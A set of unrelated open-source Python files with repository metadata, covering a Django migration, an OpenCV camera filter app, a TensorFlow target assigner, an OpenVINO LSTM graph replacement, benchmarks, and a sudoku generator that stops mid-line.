53574b1a271731f07e98ba1c333084a653cc4044
ea5e1066bda09a8da1ad3de28ed71ad18317b6cf
refs/heads/master
2020-04-15T23:51:54.169966
2016-03-30T05:09:33
2016-03-30T05:09:33
12,368,976
1
0
null
2015-06-02T07:55:28
2013-08-26T01:39:26
Python
UTF-8
Python
false
false
165
py
# -*- coding: utf-8 -*- from __future__ import absolute_import, division, print_function, unicode_literals from .unit import JubaTestCase from .constants import *
[ "webmaster@kenichimaehashi.com" ]
webmaster@kenichimaehashi.com
ee9fb75785fb2393afaf072d38ab68d24b5bd23d
91283509c7cd4b309758c703303f761c6b400b53
/software/misc/get_gene_de.py
ec08fa8a00c06250a8a74335fb514bcddc9a4ece
[ "MIT" ]
permissive
Searchlight2/Searchlight2
0682c90e13e49ede961d5e43113fd7dd8728667e
f672860af3b882a06f39ada00b53da134d5a2ffa
refs/heads/master
2023-06-16T13:50:29.405772
2023-05-27T11:13:18
2023-05-27T11:13:18
223,948,179
27
13
NOASSERTION
2023-02-17T10:53:49
2019-11-25T12:52:37
Python
UTF-8
Python
false
false
171
py
def get_gene_de(global_variables,de_Dict): values_list = [de_Dict["log2fold"],de_Dict["p"],de_Dict["p.adj"],de_Dict["sig"],de_Dict["valid"]] return values_list
[ "john.cole@glasgow.ac.uk" ]
john.cole@glasgow.ac.uk
19564d429f9e45a0c1b7ce769789245222189b4c
9aa7d3c6d563a434595141f5b4dd8c54252a4d40
/tweets/migrations/0008_preference.py
b40286d91e8ba528407d73a1b8c004147d5939d4
[]
no_license
akhad97/Test-Web-App
9e200fc6d394cf6d52e72cb5f360d013e777fa9c
eb9b3480732c86f836748967bcfd6201dac6a6ee
refs/heads/master
2023-07-19T12:24:26.400998
2021-09-06T11:55:20
2021-09-06T11:55:20
402,657,324
1
0
null
null
null
null
UTF-8
Python
false
false
1,032
py
# Generated by Django 2.2.13 on 2021-07-29 18:06 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('tweets', '0007_auto_20210729_1049'), ] operations = [ migrations.CreateModel( name='Preference', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('value', models.IntegerField()), ('date', models.DateTimeField(auto_now=True)), ('post', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='tweets.Post')), ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], options={ 'unique_together': {('user', 'post', 'value')}, }, ), ]
[ "ahadjon.abdullaev1997@gmail.com" ]
ahadjon.abdullaev1997@gmail.com
cd2559b6e2a918d2843f950eba85bcc1ee347513
9ccb49d3216fd12a79fa73d4cdc6ecf51602f286
/video/cameo.py
45826719500cd312d2708ea390c6a2530c2fa7cb
[]
no_license
shidoutsuruya/my_opencv
a12d665a2bbbc911b56b682f5c51638651354616
910748ee98271948eedcec36ee308396547f4a2e
refs/heads/master
2023-07-04T18:32:49.639714
2021-09-02T13:24:45
2021-09-02T13:24:45
402,426,956
0
1
null
null
null
null
UTF-8
Python
false
false
2,399
py
import cv2 import sys sys.path.append(r'C:\Users\max21\Desktop\Python\OpenCV\video') from managers import WindowManager,Capturemanager import filter class Cameo(object): def __init__(self): #创建一个窗口,并将键盘的回调函数传入 self._windowManager = WindowManager('Cameo', self.onKeypress) #告诉程序数据来自摄像头,还有镜面效果 self._captureManager = Capturemanager( cv2.VideoCapture(0), self._windowManager, True ) self._curveFilter=filter.BGRPortraCurveFilter()#change def run(self): '''Run the main loop''' self._windowManager.createWindow()#创建窗口,设置self._isWindowCreated = True控制循环提取摄像头信息 while self._windowManager.isWindowCreated: #这里的enterFrame作用使得从程序从摄像头中取数据 self._captureManager.enterFrame()#开启窗口 #frame是原始帧数据,未做任何改动 frame = self._captureManager.frame#获得当前帧 filter.strokeEdges(frame,frame)######change self._curveFilter.apply(frame,frame)######change #TODO: filter the frame(Chapter 3) #exitFrame()主要功能:实现截屏,录屏 self._captureManager.exitFrame()#根据控制参数,选择是否进行截屏和录屏,并将self._frame等参数还原准备下一次循环 #回调函数 self._windowManager.processEvent() def onKeypress(self, keycode): '''Handle a keypress space -> Take a screenshot tab -> State/stop recording a screencast escape -> Quit ''' if keycode == 32: #Space #截取保存的文件名称 self._captureManager.WriteImage(r'C:\Users\max21\Desktop\screenshot.png')#设置截取图片保存信息 elif keycode == 9:#tab if not self._captureManager.isWritingVideo:#判断为开始录制视频或结束录制视频 #录像保存的文件名字 self._captureManager.startWritingVideo( r'C:\Users\max21\Desktop\screencast.avi' ) else: self._captureManager.stopWritingVideo() elif keycode == 27: #escape self._windowManager.destroyWindow() if __name__ == '__main__': Cameo().run()
[ "shidoutsuruya@gmail.com" ]
shidoutsuruya@gmail.com
7238e72dccd56d60f6b25ede0388eeffb65b2cd9
eb9f655206c43c12b497c667ba56a0d358b6bc3a
/python/testData/refactoring/move/qualifiedReferenceInDestinationModule/before/src/a.py
a56af0a69c5731df17e4e721a8177a9006bfda32
[ "Apache-2.0" ]
permissive
JetBrains/intellij-community
2ed226e200ecc17c037dcddd4a006de56cd43941
05dbd4575d01a213f3f4d69aa4968473f2536142
refs/heads/master
2023-09-03T17:06:37.560889
2023-09-03T11:51:00
2023-09-03T12:12:27
2,489,216
16,288
6,635
Apache-2.0
2023-09-12T07:41:58
2011-09-30T13:33:05
null
UTF-8
Python
false
false
28
py
FOO = 1 something_else = 2
[ "mikhail.golubev@jetbrains.com" ]
mikhail.golubev@jetbrains.com
77cc550ae737bb0ee04e2770fd25d189cae5cd7d
99b84337ae66ad2877544fd158f20e7f4cd96520
/day01-10/day03/07-if语句.py
12ece94197133e1b68e793b0fca8e9db9d46452a
[]
no_license
jiajiabin/python_study
cf145d54cabce2cb98914b3448ed7d0e5c1c146c
b4faaff26ee9728af2e80942ba6a7c7f6a8b0f86
refs/heads/master
2020-06-21T21:31:26.034978
2019-08-26T11:39:34
2019-08-26T11:39:34
197,556,254
2
0
null
null
null
null
UTF-8
Python
false
false
211
py
# if语句 print('line01') if 5 < 3: print("Good!") # python比其他语言更重视缩进 print("Good day!") if 5 + 3: print("Excellent!!") if 5 * 0: print("Not bad!!") print('line02')
[ "2592668397@qq.com" ]
2592668397@qq.com
987daffedbfae7ec715410bded64b9b080d0592d
19c87c46013ce41abbec7db48ae9cc3e6d015269
/lib/node_modules/@stdlib/math/base/special/atan/benchmark/python/benchmark.py
5c9898b5907409301c61bb752c405b40492d5bc1
[ "BSD-3-Clause", "BSL-1.0", "Apache-2.0", "LicenseRef-scancode-unknown-license-reference" ]
permissive
rreusser/stdlib
834428bcfcc76202e8d6a241b6d0aa6446f0da72
ca98ecb7e3736c290e32595f8cb57a98cf7ef509
refs/heads/develop
2021-01-20T13:26:42.198550
2017-05-06T19:44:19
2017-05-06T19:44:19
90,491,573
0
0
null
2017-05-06T21:15:05
2017-05-06T21:15:05
null
UTF-8
Python
false
false
1,516
py
#!/usr/bin/env python """Benchmark atan.""" import timeit name = "atan" repeats = 3 iterations = 1000000 def print_version(): """Print the TAP version.""" print("TAP version 13") def print_summary(total, passing): """Print the benchmark summary. # Arguments * `total`: total number of tests * `passing`: number of passing tests """ print("#") print("1.." + str(total)) # TAP plan print("# total " + str(total)) print("# pass " + str(passing)) print("#") print("# ok") def print_results(elapsed): """Print benchmark results. # Arguments * `elapsed`: elapsed time (in seconds) # Examples ``` python python> print_results(0.131009101868) ``` """ rate = iterations / elapsed print(" ---") print(" iterations: " + str(iterations)) print(" elapsed: " + str(elapsed)) print(" rate: " + str(rate)) print(" ...") def benchmark(): """Run the benchmark and print benchmark results.""" setup = "from math import atan; from random import random;" stmt = "y = atan(10000.0*random() - 0.0)" t = timeit.Timer(stmt, setup=setup) print_version() for i in xrange(3): print("# python::" + name) elapsed = t.timeit(number=iterations) print_results(elapsed) print("ok " + str(i+1) + " benchmark finished") print_summary(repeats, repeats) def main(): """Run the benchmark.""" benchmark() if __name__ == "__main__": main()
[ "kgryte@gmail.com" ]
kgryte@gmail.com
4e6d8ddf6eac4bf76e47dc6c3d651bab47ddf114
d88397be1c6a31985bc2283280e743fd3b988dd1
/beta/examples/tensorflow/common/object_detection/utils/target_assigner.py
51ee1345d270455044cfdd1c2ed3d53a32c7cec4
[ "Apache-2.0" ]
permissive
sshyran/openvino-nncf-pytorch
f5e09066a216fa786927937a91a0e6742f347660
fd02652950cd803a36f5283f5a5df999bb45433b
refs/heads/develop
2023-04-18T06:58:54.646669
2021-03-12T15:41:39
2021-03-12T15:41:39
347,374,166
0
0
Apache-2.0
2023-04-03T23:52:21
2021-03-13T13:11:32
null
UTF-8
Python
false
false
13,932
py
""" Copyright (c) 2020 Intel Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import tensorflow as tf from beta.examples.tensorflow.common.object_detection.utils import box_list from beta.examples.tensorflow.common.object_detection.utils import shape_utils KEYPOINTS_FIELD_NAME = 'keypoints' class TargetAssigner: """Target assigner to compute classification and regression targets.""" def __init__(self, similarity_calc, matcher, box_coder, negative_class_weight=1.0, unmatched_cls_target=None): """Construct Object Detection Target Assigner. Args: similarity_calc: a RegionSimilarityCalculator matcher: Matcher used to match groundtruth to anchors. box_coder: BoxCoder used to encode matching groundtruth boxes with respect to anchors. negative_class_weight: classification weight to be associated to negative anchors (default: 1.0). The weight must be in [0., 1.]. unmatched_cls_target: a float32 tensor with shape [d_1, d_2, ..., d_k] which is consistent with the classification target for each anchor (and can be empty for scalar targets). This shape must thus be compatible with the groundtruth labels that are passed to the "assign" function (which have shape [num_gt_boxes, d_1, d_2, ..., d_k]). If set to None, unmatched_cls_target is set to be [0] for each anchor. Raises: ValueError: if similarity_calc is not a RegionSimilarityCalculator or if matcher is not a Matcher or if box_coder is not a BoxCoder """ self._similarity_calc = similarity_calc self._matcher = matcher self._box_coder = box_coder self._negative_class_weight = negative_class_weight if unmatched_cls_target is None: self._unmatched_cls_target = tf.constant([0], tf.float32) else: self._unmatched_cls_target = unmatched_cls_target @property def box_coder(self): return self._box_coder def assign(self, anchors, groundtruth_boxes, groundtruth_labels=None, groundtruth_weights=None, **params): """Assign classification and regression targets to each anchor. For a given set of anchors and groundtruth detections, match anchors to groundtruth_boxes and assign classification and regression targets to each anchor as well as weights based on the resulting match (specifying, e.g., which anchors should not contribute to training loss). Anchors that are not matched to anything are given a classification target of self._unmatched_cls_target which can be specified via the constructor. Args: anchors: a BoxList representing N anchors groundtruth_boxes: a BoxList representing M groundtruth boxes groundtruth_labels: a tensor of shape [M, d_1, ... d_k] with labels for each of the ground_truth boxes. The subshape [d_1, ... d_k] can be empty (corresponding to scalar inputs). When set to None, groundtruth_labels assumes a binary problem where all ground_truth boxes get a positive label (of 1). groundtruth_weights: a float tensor of shape [M] indicating the weight to assign to all anchors match to a particular groundtruth box. The weights must be in [0., 1.]. If None, all weights are set to 1. **params: Additional keyword arguments for specific implementations of the Matcher. Returns: cls_targets: a float32 tensor with shape [num_anchors, d_1, d_2 ... d_k], where the subshape [d_1, ..., d_k] is compatible with groundtruth_labels which has shape [num_gt_boxes, d_1, d_2, ... d_k]. cls_weights: a float32 tensor with shape [num_anchors] reg_targets: a float32 tensor with shape [num_anchors, box_code_dimension] reg_weights: a float32 tensor with shape [num_anchors] match: a matcher.Match object encoding the match between anchors and groundtruth boxes, with rows corresponding to groundtruth boxes and columns corresponding to anchors. Raises: ValueError: if anchors or groundtruth_boxes are not of type box_list.BoxList """ if not isinstance(anchors, box_list.BoxList): raise ValueError('anchors must be an BoxList') if not isinstance(groundtruth_boxes, box_list.BoxList): raise ValueError('groundtruth_boxes must be an BoxList') if groundtruth_labels is None: groundtruth_labels = tf.ones( tf.expand_dims(groundtruth_boxes.num_boxes(), 0)) groundtruth_labels = tf.expand_dims(groundtruth_labels, -1) unmatched_shape_assert = shape_utils.assert_shape_equal( shape_utils.combined_static_and_dynamic_shape(groundtruth_labels)[1:], shape_utils.combined_static_and_dynamic_shape( self._unmatched_cls_target)) labels_and_box_shapes_assert = shape_utils.assert_shape_equal( shape_utils.combined_static_and_dynamic_shape(groundtruth_labels)[:1], shape_utils.combined_static_and_dynamic_shape( groundtruth_boxes.get())[:1]) if groundtruth_weights is None: num_gt_boxes = groundtruth_boxes.num_boxes_static() if not num_gt_boxes: num_gt_boxes = groundtruth_boxes.num_boxes() groundtruth_weights = tf.ones([num_gt_boxes], dtype=tf.float32) with tf.control_dependencies([unmatched_shape_assert, labels_and_box_shapes_assert]): match_quality_matrix = self._similarity_calc.compare( groundtruth_boxes, anchors) match = self._matcher.match(match_quality_matrix, **params) reg_targets = self._create_regression_targets(anchors, groundtruth_boxes, match) cls_targets = self._create_classification_targets(groundtruth_labels, match) reg_weights = self._create_regression_weights(match, groundtruth_weights) cls_weights = self._create_classification_weights(match, groundtruth_weights) num_anchors = anchors.num_boxes_static() if num_anchors is not None: reg_targets = self._reset_target_shape(reg_targets, num_anchors) cls_targets = self._reset_target_shape(cls_targets, num_anchors) reg_weights = self._reset_target_shape(reg_weights, num_anchors) cls_weights = self._reset_target_shape(cls_weights, num_anchors) return cls_targets, cls_weights, reg_targets, reg_weights, match def _reset_target_shape(self, target, num_anchors): """Sets the static shape of the target. Args: target: the target tensor. Its first dimension will be overwritten. num_anchors: the number of anchors, which is used to override the target's first dimension. Returns: A tensor with the shape info filled in. """ target_shape = target.get_shape().as_list() target_shape[0] = num_anchors target.set_shape(target_shape) return target def _create_regression_targets(self, anchors, groundtruth_boxes, match): """Returns a regression target for each anchor. Args: anchors: a BoxList representing N anchors groundtruth_boxes: a BoxList representing M groundtruth_boxes match: a matcher.Match object Returns: reg_targets: a float32 tensor with shape [N, box_code_dimension] """ matched_gt_boxes = match.gather_based_on_match( groundtruth_boxes.get(), unmatched_value=tf.zeros(4), ignored_value=tf.zeros(4)) matched_gt_boxlist = box_list.BoxList(matched_gt_boxes) if groundtruth_boxes.has_field(KEYPOINTS_FIELD_NAME): groundtruth_keypoints = groundtruth_boxes.get_field(KEYPOINTS_FIELD_NAME) matched_keypoints = match.gather_based_on_match( groundtruth_keypoints, unmatched_value=tf.zeros(groundtruth_keypoints.get_shape()[1:]), ignored_value=tf.zeros(groundtruth_keypoints.get_shape()[1:])) matched_gt_boxlist.add_field(KEYPOINTS_FIELD_NAME, matched_keypoints) matched_reg_targets = self._box_coder.encode(matched_gt_boxlist, anchors) match_results_shape = shape_utils.combined_static_and_dynamic_shape( match.match_results) # Zero out the unmatched and ignored regression targets. unmatched_ignored_reg_targets = tf.tile(self._default_regression_target(), [match_results_shape[0], 1]) matched_anchors_mask = match.matched_column_indicator() # To broadcast matched_anchors_mask to the same shape as # matched_reg_targets. matched_anchors_mask = tf.tile( tf.expand_dims(matched_anchors_mask, 1), [1, tf.shape(matched_reg_targets)[1]]) reg_targets = tf.where(matched_anchors_mask, matched_reg_targets, unmatched_ignored_reg_targets) return reg_targets def _default_regression_target(self): """Returns the default target for anchors to regress to. Default regression targets are set to zero (though in this implementation what these targets are set to should not matter as the regression weight of any box set to regress to the default target is zero). Returns: default_target: a float32 tensor with shape [1, box_code_dimension] """ return tf.constant([self._box_coder.code_size * [0]], tf.float32) def _create_classification_targets(self, groundtruth_labels, match): """Create classification targets for each anchor. Assign a classification target of for each anchor to the matching groundtruth label that is provided by match. Anchors that are not matched to anything are given the target self._unmatched_cls_target Args: groundtruth_labels: a tensor of shape [num_gt_boxes, d_1, ... d_k] with labels for each of the ground_truth boxes. The subshape [d_1, ... d_k] can be empty (corresponding to scalar labels). match: a matcher.Match object that provides a matching between anchors and groundtruth boxes. Returns: a float32 tensor with shape [num_anchors, d_1, d_2 ... d_k], where the subshape [d_1, ..., d_k] is compatible with groundtruth_labels which has shape [num_gt_boxes, d_1, d_2, ... d_k]. """ return match.gather_based_on_match( groundtruth_labels, unmatched_value=self._unmatched_cls_target, ignored_value=self._unmatched_cls_target) def _create_regression_weights(self, match, groundtruth_weights): """Set regression weight for each anchor. Only positive anchors are set to contribute to the regression loss, so this method returns a weight of 1 for every positive anchor and 0 for every negative anchor. Args: match: a matcher.Match object that provides a matching between anchors and groundtruth boxes. groundtruth_weights: a float tensor of shape [M] indicating the weight to assign to all anchors match to a particular groundtruth box. Returns: a float32 tensor with shape [num_anchors] representing regression weights. """ return match.gather_based_on_match( groundtruth_weights, ignored_value=0., unmatched_value=0.) def _create_classification_weights(self, match, groundtruth_weights): """Create classification weights for each anchor. Positive (matched) anchors are associated with a weight of positive_class_weight and negative (unmatched) anchors are associated with a weight of negative_class_weight. When anchors are ignored, weights are set to zero. By default, both positive/negative weights are set to 1.0, but they can be adjusted to handle class imbalance (which is almost always the case in object detection). Args: match: a matcher.Match object that provides a matching between anchors and groundtruth boxes. groundtruth_weights: a float tensor of shape [M] indicating the weight to assign to all anchors match to a particular groundtruth box. Returns: a float32 tensor with shape [num_anchors] representing classification weights. """ return match.gather_based_on_match( groundtruth_weights, ignored_value=0., unmatched_value=self._negative_class_weight) def get_box_coder(self): """Get BoxCoder of this TargetAssigner. Returns: BoxCoder object. """ return self._box_coder
[ "noreply@github.com" ]
sshyran.noreply@github.com
9de0ceb6297499202c5213b01406fa2c200f205e
80db1d25ed31c1a7b45653775517b9eff22dd67b
/vcoasm/compilables.py
a2d947551ea19b6f6988c8941f2a7334eaee7fa8
[ "MIT" ]
permissive
vcokltfre/vcoasm
e45fb4d31a0ac6e054cc75cc4fe1ef41e9ab4990
cb660465d78bf6b479ba7f6a38bae9385a67b6c0
refs/heads/master
2023-05-29T02:07:07.861324
2021-06-17T10:11:27
2021-06-17T10:11:27
377,801,143
0
0
null
null
null
null
UTF-8
Python
false
false
1,246
py
from abc import ABC, abstractmethod class Compilable(ABC): def __init__(self, value) -> None: self.value = value def __repr__(self) -> str: return f"<{self.__class__.__qualname__} value={self.value}>" def __str__(self) -> str: return self.__repr__() @abstractmethod def compile(self) -> bytearray: ... class Raw(Compilable): def compile(self) -> bytearray: return bytearray([self.value]) class Integer(Compilable): def compile(self) -> bytearray: b = bytearray([0xF0]) b.extend(self.value.to_bytes(8, "big")) return b class String(Compilable): def compile(self) -> bytearray: b = bytearray([0xF1]) b.extend(Integer(len(self.value)).compile()) b.extend([ord(c) for c in self.value]) return b class DebugInfo(Compilable): def __init__(self, file: str, line: int) -> None: self.value = f"{line}@{file}" def compile(self) -> bytearray: b = bytearray([0xFF]) b.extend(String(self.value).compile()) return b class Identifier(Compilable): def compile(self) -> bytearray: b = bytearray([0xF4]) b.extend(String(self.value).compile()) return b
[ "vcokltfre@gmail.com" ]
vcokltfre@gmail.com
145dc99e4e6ead5edb4254afe7e15b60d4ae21ef
088e000eb5f16e6d0d56c19833b37de4e67d1097
/model-optimizer/extensions/front/kaldi/replace_lstm_nonlinearity.py
f50def886315e73b6d88ba0cc490d3cb0843896b
[ "Apache-2.0" ]
permissive
projectceladon/dldt
614ba719a428cbb46d64ab8d1e845ac25e85a53e
ba6e22b1b5ee4cbefcc30e8d9493cddb0bb3dfdf
refs/heads/2019
2022-11-24T10:22:34.693033
2019-08-09T16:02:42
2019-08-09T16:02:42
204,383,002
1
1
Apache-2.0
2022-11-22T04:06:09
2019-08-26T02:48:52
C++
UTF-8
Python
false
false
5,493
py
""" Copyright (c) 2019 Intel Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from extensions.ops.activation_ops import Sigmoid, Tanh from mo.front.caffe.extractors.utils import embed_input from mo.front.common.replacement import FrontReplacementOp from mo.graph.graph import Node, Graph from mo.ops.concat import Concat from mo.ops.eltwise import Eltwise from mo.ops.scale_shift import ScaleShiftOp from mo.ops.split import Split class ReplaceLstmNonLinearityPattern(FrontReplacementOp): op = "LstmNonLinearity" enabled = True def run_after(self): from extensions.front.restore_ports import RestorePorts return [RestorePorts] def replace_op(self, graph: Graph, node: Node): # split input to (i_part, f_part, c_part, o_part, ct_1) split_node = Split(graph, {'name': graph.unique_id(prefix='Split_lstm_input_'), 'num_split': 5}).create_node() node.in_port(0).get_connection().set_destination(split_node.in_port(0)) for i in range(5): split_node.add_output_port(i) # i_t = Sigmoid(i_part + w_ic*ct_1) i_scale_attrs = {'name': graph.unique_id(prefix='i_scaleshift'), 'bias_term': False} embed_input(i_scale_attrs, 1, 'weights', node.i_weights) i_scale = ScaleShiftOp(graph, i_scale_attrs).create_node() split_node.out_port(4).connect(i_scale.in_port(0)) sum_i_c = Eltwise(graph, {'name': graph.unique_id(prefix='sum_i_c_'), 'operation': 'sum'}).create_node() split_node.out_port(0).connect(sum_i_c.in_port(0)) i_scale.out_port(0).connect(sum_i_c.in_port(1)) i_sigmoid = Sigmoid(graph, {'name': 'i_sigmoid'}).create_node() sum_i_c.out_port(0).connect(i_sigmoid.in_port(0)) # f_t = Sigmoid(f_part + w_fc*ct_1) f_scale_attrs = {'name': graph.unique_id(prefix='f_scaleshift'), 'bias_term': False} embed_input(f_scale_attrs, 1, 'weights', node.f_weights) f_scale = ScaleShiftOp(graph, f_scale_attrs).create_node() split_node.out_port(4).connect(f_scale.in_port(0)) sum_f_c = Eltwise(graph, {'name': graph.unique_id(prefix='sum_f_c_'), 'operation': 'sum'}).create_node() split_node.out_port(1).connect(sum_f_c.in_port(0)) f_scale.out_port(0).connect(sum_f_c.in_port(1)) f_sigmoid = Sigmoid(graph, {'name': 'f_sigmoid'}).create_node() sum_f_c.out_port(0).connect(f_sigmoid.in_port(0)) # c_t = f_t*ct_1 + i_t * tanh(c_part) c_tanh = Tanh(graph, {'name': 'c_tanh'}).create_node() split_node.out_port(2).connect(c_tanh.in_port(0)) prod_i_c_tanh = Eltwise(graph, {'name': graph.unique_id(prefix='prod_i_c_tanh_'), 'operation': 'mul'}).create_node() i_sigmoid.out_port(0).connect(prod_i_c_tanh.in_port(0)) c_tanh.out_port(0).connect(prod_i_c_tanh.in_port(1)) prod_f_ct_1 = Eltwise(graph, {'name': graph.unique_id(prefix='prod_f_ct_1_'), 'operation': 'mul'}).create_node() f_sigmoid.out_port(0).connect(prod_f_ct_1.in_port(0)) split_node.out_port(4).connect(prod_f_ct_1.in_port(1)) sum_f_i = Eltwise(graph, {'name': graph.unique_id(prefix='sum_f_i_'), 'operation': 'sum'}).create_node() prod_f_ct_1.out_port(0).connect(sum_f_i.in_port(0)) prod_i_c_tanh.out_port(0).connect(sum_f_i.in_port(1)) # o_t = Sigmoid(o_part + w_oc*c_t) o_scale_attrs = {'name': graph.unique_id(prefix='o_scaleshift'), 'bias_term': False} embed_input(o_scale_attrs, 1, 'weights', node.o_weights) o_scale = ScaleShiftOp(graph, o_scale_attrs).create_node() sum_f_i.out_port(0).connect(o_scale.in_port(0)) sum_o_c = Eltwise(graph, {'name': graph.unique_id(prefix='sum_o_c_'), 'operation': 'sum'}).create_node() split_node.out_port(3).connect(sum_o_c.in_port(0)) o_scale.out_port(0).connect(sum_o_c.in_port(1)) o_sigmoid = Sigmoid(graph, {'name': 'o_sigmoid'}).create_node() sum_o_c.out_port(0).connect(o_sigmoid.in_port(0)) # m_t = o_t * Tanh(c_t) c_t_tanh = Tanh(graph, {'name': 'c_t_tanh'}).create_node() sum_f_i.out_port(0).connect(c_t_tanh.in_port(0)) prod_o_c_t_tanh = Eltwise(graph, {'name': graph.unique_id(prefix='prod_o_c_t_tanh_'), 'operation': 'mul'}).create_node() o_sigmoid.out_port(0).connect(prod_o_c_t_tanh.in_port(0)) c_t_tanh.out_port(0).connect(prod_o_c_t_tanh.in_port(1)) # add concat to create 1 output concat = Concat(graph, {'name': graph.unique_id(prefix='Concat_c_m')}).create_node() concat.add_sequence_of_ports('in', range(2)) sum_f_i.out_port(0).connect(concat.in_port(0)) prod_o_c_t_tanh.out_port(0).connect(concat.in_port(1)) return [concat.id]
[ "44090433+openvino-pushbot@users.noreply.github.com" ]
44090433+openvino-pushbot@users.noreply.github.com
bc31f0d3373dece3426e10a21d2ea098049e4f14
c9fb37a97abe7767e45e2d95694002aa334da6a1
/kodetest/__init__.py
cefda69719b8c2e0658c4bbc64e84368abc0119b
[ "MIT" ]
permissive
arve0/kodetest
6c3ce09e3afbb29e54bac4d9bbc7c0963bd13dd5
93a6c5ca4d50c5574f0d3bda94c7aba9da38430a
refs/heads/master
2021-01-21T10:09:22.152122
2015-06-10T10:23:24
2015-06-10T10:23:24
37,190,492
0
0
null
null
null
null
UTF-8
Python
false
false
169
py
__author__ = 'Arve Seljebu' __email__ = 'arve.seljebu@gmail.com' from os.path import join, dirname __version__ = open(join(dirname(__file__), 'VERSION')).read().strip()
[ "arve.seljebu@gmail.com" ]
arve.seljebu@gmail.com
c37555e64f17e0c4712b0d716cd059dc7849bdf4
b7125b27e564d2cc80a2ce8d0a6f934aa22c8445
/.history/sudoku_20201029173225.py
f1d02d60237cac3cf3e062856f9ae2188ea2cd11
[]
no_license
JensVL96/Puzzle-solver-for-fun
4c15dcd570c3705b7ac555efb56b52913e81083c
6d8a4378a480372213a596a336a4deca727a00fc
refs/heads/master
2021-07-15T05:19:42.185495
2020-11-08T13:59:49
2020-11-08T13:59:49
224,855,888
1
0
null
null
null
null
UTF-8
Python
false
false
6,919
py
# -*- coding: utf-8 -*- from __future__ import print_function import pygame as pg from random import sample from pyglet.gl import * from string import * import numpy as np class create_board(): def __init__(self): self.base = 3 # Will generate any size of random sudoku board in O(n^2) time self.side = self.base * self.base self.nums = sample(range(1, self.side + 1), self.side) # random numbers self.board = [[self.nums[(self.base * (r%self.base) + r//self.base + c)%self.side] for c in range(self.side) ] for r in range(self.side)] rows = [ r for g in sample(range(self.base),self.base) for r in sample(range(g * self.base,(g + 1) * self.base), self.base) ] cols = [ c for g in sample(range(self.base),self.base) for c in sample(range(g * self.base,(g + 1) * self.base), self.base) ] self.board = [[self.board[r][c] for c in cols] for r in rows] # print("\nInput:") # for line in self.board: print(line) squares = self.side * self.side empties = squares * 3//4 for p in sample(range(squares),empties): self.board[p//self.side][p%self.side] = 0 self.lines() def expandLine(self, line): return line[0]+line[5:9].join([line[1:5]*(self.base-1)]*self.base)+line[9:13] def lines(self): self.line0 = self.expandLine("╔═══╤═══╦═══╗") self.line1 = self.expandLine("║ . │ . ║ . ║") self.line2 = self.expandLine("╟───┼───╫───╢") self.line3 = self.expandLine("╠═══╪═══╬═══╣") self.line4 = self.expandLine("╚═══╧═══╩═══╝") self.draw() def draw(self): symbol = " 1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ" self.nums = [ [""]+[symbol[n] for n in row] for row in self.board ] print(self.line0) for r in range(1,self.side+1): print( "".join(n+s for n,s in zip(self.nums[r-1],self.line1.split("."))) ) print([self.line2,self.line3,self.line4][(r%self.side==0)+(r%self.base==0)]) class solve_board(): def __init__(self, board): self.row = [] self.col = [] self.cell = [] self.row_list = [] self.col_list = [] self.cell_list = [] for space in range(9): self.col.append([]) self.cell.append([]) row_idx = 0 for line in board: self.row.append(line) cell_idx = 0 if row_idx >= 3: cell_idx = 3 if row_idx >= 6: cell_idx = 6 for col_idx in range(9): self.col[col_idx].insert(row_idx, line[col_idx]) if col_idx % 3 == 0: for triple in range(0, 3): self.cell[cell_idx].insert(len(self.cell[row_idx]) + triple, line[col_idx + triple]) cell_idx += 1 self.row_list.append(self.row) self.col_list.append(self.col) self.cell_list.append(self.cell) row_idx += 1 print("\nrow:") for row in self.row_list[0]: print(row) # print("\ncolumn:") # for col in self.col_list[0]: # print(col) # print("\ncell:") # for cell in self.cell_list[0]: # print(cell) def assign_flags(self, board): self.flags = [] row_idx = 0 cell_idx = 0 print("\n") for line in board: cell_idx = 0 if row_idx >= 3: cell_idx = 3 if row_idx >= 6: cell_idx = 6 for index in range(9): # print("position: ", index, "value: ", line[index]) # print("row", row_idx, "col", index, "cell", cell_idx) if (index % 3 == 0 and index != 0): cell_idx += 1 if line[index] == 0: flag_idx = 0 temp_flag = [] for value in range(1, 10): # print(value) if self.row_flag(value, row_idx): # print("found in row") pass elif self.col_flag(value, index): # print("found in column") pass elif self.cell_flag(value, cell_idx): # print("found in cell") pass else: temp_flag.append(value) flag_idx += 1 print(temp_flag) self.flags.append(temp_flag) row_idx += 1 def check_row(self): pass def column(self, x): pass def cell(self, row, col): pass def row_flag(self, index, row_idx): for row in self.row_list[0][row_idx]: # print("comparing in row ", row, "with ", index, "row_idx ", row_idx) if row == index: return 1 return 0 def col_flag(self, index, col_idx): for col in self.col_list[0][col_idx]: # print("comparing in column ", col, "with ", index, "col_idx ", col_idx) if col == index: return 1 return 0 def cell_flag(self, index, cell_idx): for cell in self.cell_list[0][cell_idx]: # print("comparing in cell ", cell, "with ", index, "cell_idx ", cell_idx) if cell == index: return 1 return 0 class Display_board(pyglet.window.Window): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) # Set window size self.set_minimum_size(700,700) # Set background color background_color = [255, 255, 255, 255] background_color = [i / 255 for i in background_color] gClearColor(*background_color) def on_key_press(self, symbol, modifier): pass def on_key_release(self, symbol, modifier): pass def on_mouse_press(self, symbol, modifier): pass def on_draw(self, symbol, modifier): pass def update(self, symbol, modifier): pass # Start the main window and start a timer to hit the update method frame_rate = 30 class Main(): def __init__(self): self.board = [] self.run() def run(self): self.board = create_board().board self.solution = 